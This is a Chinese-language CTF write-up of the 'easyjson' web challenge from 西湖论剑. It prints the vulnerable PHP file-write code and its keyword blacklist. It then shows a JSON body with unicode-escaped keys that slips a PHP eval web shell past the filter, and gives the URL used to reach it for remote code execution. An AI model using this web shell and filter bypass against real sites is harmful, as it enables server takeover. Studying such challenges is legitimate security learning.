这题总的来说就是代码审计+(伪)文件上传+RCE。
首先是代码审计:
<?php
include 'security.php';
if(!isset($_GET['source'])){
show_source(__FILE__);
die();
}
$sandbox = 'sandbox/'.sha1($_SERVER['HTTP_X_FORWARDED_FOR']).'/';
var_dump($sandbox);
if(!file_exists($sandbox)){
mkdir($sandbox);
file_put_contents($sandbox."index.php","<?php echo 'Welcome To Dbapp OSS.';?>");
}
$action = $_GET['action'];
$content = file_get_contents("php://input");
if($action == "write" && SecurityCheck('filename',$_GET['filename']) &&SecurityCheck('content',$content)){
$content = json_decode($content); //对content进行json解密
$filename = $_GET['filename'];
$filecontent = $content->content;
$filename = $sandbox.$filename;
file_put_contents($filename,$filecontent."\n Powered By Dbapp OSS.");
}elseif($action == "reset"){
$files = scandir($sandbox);
foreach($files as $file) {
if(!is_dir($file)){
if($file !== "index.php"){
unlink($sandbox.$file);
}
}
}
}
else{
die('Security Check Failed.');
}
get要传入action,filename和source这三个参数。source是保证下面的php命令可以执行,action是我们要执行的操作,肯定是write了。filename是我们要写的文件的名字。
post要传入json格式的参数,它的content键的值是我们要写入文件的内容。
审清楚这些,应该做的就是写一个可以RCE的文件,因为我们写的文件的目录已知,文件名已知,然后再读取那个文件,用蚁剑连或者进行RCE。
第一个绕过点是文件名。因为习惯性给文件命名1.php,在这里直接没通过那个安全检测了。我一开始以为是后缀php被过滤,后来我把后缀去掉发现还是被阻了,然后我把文件改成了feng.php就好了,才发现只有字母给文件命名才行。
接下来就是post传入的参数了。post传入后赋给变量$content,但是$content要被json_decode一次。我一开始尝试这样写{"content":"<?php eval($_GET['a']);?>"}
,发现爆check fail。我尝试了大小写双写绕过后还是不行,然后就卡住了。。因为真的对json这个内容不太了解。
看了WP,原来content里的on也被过滤了。这是我没想到的。怎么绕过呢?尝试用unicode编码来绕过。原理可以参考下面文章:
浅谈json参数解析对waf绕过的影响
php也被过滤了,都进行unicode编码就没事了:
{
"\u0063\u006f\u006e\u0074\u0065\u006e\u0074":"<?\u0070\u0068\u0070 eval($_GET['a']);?>"}
再访问一下http://easyjson.xhlj.wetolink.com/sandbox/9beb98a8de69744aec8456acc562a3685f92fabd/feng.php
然后进行RCE。通过查看phpinfo,可以发现这题没有任何函数被禁用,因此获取flag就十分容易了。
我们最后再审一下security.php:
<?php
/**
* Created by PhpStorm.
* User: meizj
* Date: 2020/2/7
* Time: 1:31 PM
*/
function SecurityCheck($type,$content){
switch ($type){
case 'filename':
if(preg_match("/[^a-z\.]/", $content) !== 0) {
return false;
}
return true;
break;
case 'content':
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file') || stristr($content,'php') || stristr($content,'.')) {
return false;
}
return true;
break;
}
}
看到注释,看到了梅子酒大师傅的名字,膜就完事了!
SecurityCheck这个函数对文件名是用了正则匹配,只能全都是a-z的字母才行。
对于post的参数,则过滤了on,html,type,flag,upload,file,php和.
这真的是西湖论剑的web题里最简单的了。才学了2个月的我居然都有机会做出来,但是自己还是太菜了。知识面还是太窄,还是要慢慢积累。争取明年的西湖论剑别再被Web出题人零封了。
!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!
最后!yusa小姐姐,永远滴神!!!!!
!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!